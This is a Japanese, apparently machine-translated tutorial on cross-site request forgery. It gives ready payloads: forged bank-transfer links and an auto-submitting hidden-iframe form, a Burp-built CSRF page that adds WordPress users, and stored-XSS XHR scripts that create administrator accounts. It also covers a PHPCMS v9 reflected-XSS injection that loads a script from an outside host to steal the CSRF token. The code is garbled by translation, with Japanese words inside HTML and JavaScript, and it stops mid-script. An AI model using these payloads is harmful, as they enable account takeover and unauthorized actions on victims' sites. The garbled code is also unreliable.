Jump to content

0x01 CSRF定義

CSRF(クロスサイトリクエスト偽造)、中国語名:クロスサイトリクエスト偽造、知られている:ワンクリック攻撃/セッションライディング、略語:CSRF/XSRF。クロスサイトスクリプトXSSのように聞こえますが、サイト内の信頼できるユーザーを悪用するXSSとは大きく異なりますが、CSRFは信頼できるユーザーからの要求を装って信頼できるWebサイトを悪用します。 XSS攻撃と比較して、CSRF攻撃はあまり人気が低く(したがって、それらを防ぐためのリソースがかなり少ない)、予防が困難であるため、XSSよりも危険であると考えられています。

0x02 CSRFハザード

攻撃者はあなたの身元を盗み、あなたの名前で悪意のあるリクエストを送信しました。 CSRFにできること:電子メールの送信、メッセージの送信、アカウントの盗み、さらには商品の購入、仮想通貨からの送金.問題が発生した問題:個人のプライバシー漏れと不動産セキュリティが含まれます。

0x03 CSRF脆弱性の原因

CSRFの脆弱性の原因は、ブラウザでWebサイトのCookieが期限切れにならないことです。このウェブサイトにアクセスする限り、ブラウザがクローズまたはログアウトしていない限り、デフォルトでログインしたステータスになります。この期間中、攻撃者は、作成されたCSRFスクリプトまたはCSRFスクリプトを含むリンクを送信します。この操作は、ユーザーが実際に実行したいものではありません。

0x04

CSRFとXSS XSSの違い:

攻撃者は、XSSの脆弱性——コンストラクトコード——被害者に送られた——被害者を発見しました——攻撃者が被害者のCookie ——を取得して攻撃を完了しました

CSRF:

攻撃者は、CSRFの脆弱性——コンストラクトコード——被害者に送信された——被害者に——人を開設し、攻撃を完了するためにコード——を実行したことを発見しました

0x05

CSRFの原則次の図は、CSRF攻撃のアイデアを簡単に説明しています。

gn5k5s0rdts7795.png

上記の図からわかるように、CSRF攻撃を完了するには、被害者は次の2つのステップを完了する必要があります。

1.信頼できるWebサイトAにログインし、Cookieをローカルで生成します。

2。ログアウトすることなく、危険なウェブサイトBにアクセスしてください。

上記の2つの条件のいずれかが満たされていない場合、CSRFに攻撃されません。はい、それは本当ですが、次の状況が起こらないことを保証することはできません。

1. Webサイトにログインした後、タブページを開いて別のWebサイトにアクセスしなくなることを保証することはできません。

2。ブラウザを閉じた後、地元のCookieがすぐに期限切れになり、最後のセッションが終了したことを保証することはできません。 (実際、ブラウザを閉じることはセッションを終了することはできませんが、ほとんどの人はブラウザを閉じることはログアウト/エンドセッションと同等であると誤って信じています.)

3.上の写真のいわゆる攻撃のウェブサイトは、他の脆弱性を備えた信頼できる頻繁に訪問されるウェブサイトである可能性があります。

0x06

CSRF攻撃の例

(1).getタイプcsrf

銀行WebサイトA。これは、GETリクエストを使用して、http://www.mybank.com/transfer.php?tobankid=11money=1000などの銀行譲渡事業を完了します。

次に、短いファイルでURLリンクを相手に送信します。それが被害者に送られている限り、それはトリガーされます

https://0x9.me/m5beh

(2).post-type csrf

上記の問題を排除するために、銀行は譲渡操作を完了するためにPOSTリクエストを使用することを決定しました。

銀行のウェブサイトAのWebフォームは次のとおりです。

format='transfer.php'method=' post '

ptobankid:inputtype='text'name=' tobankid '//p

pmoney:inputtype='text'name=' money '//p

pinputType='submit'Value='転送'//p

/形状

バックグラウンド処理ページTransfer.phpは次のとおりです。

?php

session_start();

if(Isset($ _ request ['tobankid'] isset($ _ request ['money']))

{

buy_stocks($ _ request ['tobankid']、$ _request ['money']);

}

上記のフォームを偽造してBk.htmlとして保存することにより、Bk.htmlをhttp://www.backlion.org/bk.htmlの下に置くと、URLをクリックするだけで転送がトリガーされます。

(3)最初の2つの痛みを伴うレッスンの後、銀行は要求されたデータを取得する方法を変更することを決定し、$ _POSTを使用して、POSTで要求されたデータのみを取得します。バックグラウンド処理ページTransfer.phpコードは次のとおりです。

?php

session_start();

if(isset($ _ post ['tobankid'] isset($ _ post ['money']))

{

buy_stocks($ _ post ['tobankid']、$ _post ['money']);

}

ただし、偽造フォームは同時に変更できます。

HTML

scriptType='text/javascript'

functionsteal()

{

iframe=document.frames ['steal'];

iframe.document.submit( '転送');

}

/スクリプト

/頭

bodyonload='steal()'

iframename='steal'display=' none '

formmethod='post'name='転送'アクション=' http://ww.mybank.com/transfer.php '

inputtype='hidden'name=' tobankid'value='11 '

inputtype='hidden'name=' money'value='1000'

/形状

/iframe

/体

/HTML

上記の3つの例を要約するために、CSRFの主な攻撃モードは基本的に上記の3つであり、そのうち1番目と2番目が最も深刻であり、トリガー条件は非常に単純であり、URL接続で十分であるため、3番目のタイプはよりトラブルであり、javaScriptを必要とするため、以前のものよりもはるかに低くなります。ただし、いずれにせよ、CSRF攻撃がトリガーされている限り、結果は非常に深刻な場合があります。

上記の3つの攻撃モードを理解すると、CSRF攻撃がWebの暗黙的な認証メカニズムに由来することが実際にわかります。 Webの認証メカニズムは、リクエストがユーザーのブラウザからのものであることを保証できますが、リクエストがユーザーによって承認されることを保証することはできません。

0x07

CSRF実用的な例

(1)。ポスト

のCSRFの実用的な例

最初にターゲットサイトを見つけます。 CSRFの害は、主に操作を実行できる場所に存在します。次に、私が構築した環境でログインした後、ページをテストします。

環境はWordPress環境です。公式ウェブサイトで直接ダウンロードできます

bvkaxqiw2yr7796.png

テストのためにユーザーインターフェイスを選択しましたが、現在1人のユーザーしかいないことがわかります

5qyzssx3o537797.png

次に、ユーザーを追加します

gko4anbzdvu7798.png

げっぷを使用してカットします

jpcwoq1byxb7799.png

Burpの独自のプラグインを使用して、CSRFを利用します

gybhvpvuatx7800.png

使用できるCSRF.htmlを生成します

ラベル内の値を変更して、追加されたユーザーが繰り返し追加できないようにします。

hyxjbtenupj7801.png

ブラウザで試してみてください

tt1omyltbdk7802.png

キーを実行した後、通常の手段で参加した元の最初のユーザーとユーザーに加えて、新しいtest1ユーザーが追加されたことがわかりました。このユーザーは、CSRFを使用して写真の送信をクリックして実行する操作です。テストはページを変更せず、直接連絡したためです。攻撃者がJSを使用してユーザーに直接トリガーできる場合、対応するページが開かれている限り、この動作は実行されます。

xjjrps3ghep7803.png

cgefaq4ejth7804.png

(2).combination csrf+xss

の使用率

人々がHTMLを悪用するのは容易ではなく、脆弱性のトリガーは複雑であるため、このトリガー方法をシンプルにする方法を見つけます。

XSSの脆弱性を使用して、CSRFの脆弱性をトリガーし、ユーザーが追加した操作を完了します。

最初に送信されたパケットのコンテンツを理解する必要があります

smsuy5yqf1o7805.png

上記のXSSプラットフォームを開き、CSRFプロジェクトを作成します。コードを書きましょう

Span Data-Wiz-Span='Data-Wiz-Span' Style='Font-Style:

普通; font-size: 0.875Rem; font-family: Microsoft yahei; Color: RGB(51、51、51); background-color: RGB(255、255、

255); 'var xmlhttp;

if(window.xmlhttprequest){

xmlhttp=new

xmlhttprequest();

}それ以外{

xmlhttp=new

ActiveXObject( 'microsoft.xmlhttp');

}

xmlhttp.open( 'post'、 'http://www.backlion.org/wordpress/wp-admin/user-new.php'、true);

xmlhttp.setRequestheader( 'content-type'、 'application/x-www-form-urlencoded');

xmlhttp.send( 'action=createuser_wponce ..');

//ここで投稿データを入力すると、ユーザー名とパスワード /スパンを変更する必要があります

このコードをプロジェクトのコード構成に貼り付けます

thwqfjn3jit7806.png

次に、メッセージ内の保存されたXSSの脆弱性を介して、利用可能なコードをターゲットサイトに保存します

xtujzowax4v7807.png

メッセージが成功した後の効果は次のとおりです

wxsakhliezt7808.png

myuobbvddk57809.png

管理者がメッセージをチェックすると、危険なコードを実行し、ユーザーを追加するリクエストを送信します

qigkqsjoj4v7810.png

test2ユーザーはユーザーリストを表示した後に正常に追加されました

g2kquc3lb5b7811.png

この時点で、CSRFの攻撃例はほぼ完了していると言えます。将来、自分でそれを掘り下げなければなりません。

(3)。 Ajaxを使用して、CSRF攻撃のXSSを組み合わせます

攻撃効果を達成するために、CSRFのAJAX要求をXSSに入れることです

テストに使用されるこのCMSの掲示板には、ストレージXSSの脆弱性があります。

ここでは、csrftesterを使用してAjaxを生成できます

y1crrtjzv4v7812.png

Ajaxの中核部分を見ることができます

3q1sgekncqi7813.png

単純なAjaxを自分で書くこともできます

Span Data-Wiz-Span='Data-Wiz-Span' Style='Font-Style:

普通; font-size: 0.875Rem; font-family: Microsoft yahei; Color: RGB(51、51、51); background-color: RGB(255、255、

255); 'var xmlhttp;

if(window.xmlhttprequest){

xmlhttp=new

xmlhttprequest();

}それ以外{

xmlhttp=new

ActiveXObject( 'microsoft.xmlhttp');

}

xmlhttp.open( 'post'、 'http://192.168.109:99/admin/admin_manage.asp?act=add'、true);

xmlhttp.setRequestheader( 'content-type'、 'application/x-www-form-urlencoded');

xmlhttp.send( 'admin=789password=789password3=789button=data');/span

XSSプラットフォームでプロジェクトを構成します

yp0ewlkops27814.png

次に、テストWebサイトの掲示板に挿入します

hr3ibbfmrtr7815.png

管理者は、メッセージ情報を確認して管理者アカウントを追加できます

4whfb5shgma7816.png

jj1nax2itek7817.png

(4).phpcmsv9反射性XSSからCSRF

に管理者アカウントを追加します

PHPCMS V9は、PHP5+MySQLを技術的な基盤として使用して開発されたPHPオープンソースコンテンツ管理システムです。現在、多くの業界ポータル、地元のポータル、政府機関などがこのCMSを使用しているか、二次開発を行っています。

eyurtzfw3xg7818.png

PC_HASHの値は、CSSRF防御を実行するためにバックグラウンドで使用されるトークンです。 XSSの脆弱性を前景で発見できる場合、PC_HASH(CSRFトークン)を簡単に取得でき、CSRFの脆弱性をトリガーできます。

反射性XSSを探しています

\ phpcms \ modules \ admin \ plugin.php file public_appcenter_ajx_detail関数(411行にあります)。

/**

*

非同期通話の詳細

*

ここに説明を入力してください.

*/

公共

function public_appcenter_ajx_detail(){

$ id=intval($ _ get ['id']);

$ data=file_get_contents( 'http://open.phpcms.cn/index.php?m=openc=apia=get_detail_byappidid='。$ id);

//$ data=json_decode($ data、true);

echo $ _get ['jsoncallback']。 '('、$ data、 ')';

出口;

}

$ _get ['jsoncallback']は、フィルタリングせずにページに直接出力されます。これは反射的なXSS脆弱性です。

/index.php?m=adminc=plugina=public_appcenter_ajx_detailjsoncallback=script

src=http://www.xsser.com/xss.js/script

反射性XSSを使用して、PC_HASH値を取得します

ydtdusqr25d7819.png

PC_HASHとXSSの脆弱性により、ユーザーが攻撃者の慎重に構築されたボタンをクリックする限り、攻撃者は攻撃を開始できます。

管理者の権限を追加するためにユーザーを構築するには、最初にadmin_manage_codeを取得する必要があります。

dzvzay40tsk7820.png

kkrtjq0lws37821.png

XSSプラットフォームを使用して、CSRF攻撃を起動します

var request=false;

if(window.xmlhttprequest){

リクエスト

=new xmlhttprequest();

もし

(Request.OverRideMimeType){

request.overridemimeType( 'text/xml')

}

} else if(window.activexobject){

var

バージョン=['microsoft.xmlhttp'、 'msxml.xmlhttp'、 'microsoft.xmlhttp'、 'msxml2.xmlhttp.7.0'、

'msxml2.xmlhttp.6.0'、 'msxml2.xmlhttp.5.0'、 'msxml2.xmlhttp.4.0'、 'msxml2.xmlhttp.3.0'、

'msxml2.xmlhttp'];

のために

(var i=0; i versions.length; i ++){

試す {

リクエスト

=new ActiveXObject(バージョン[i])

} catch(e){}

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...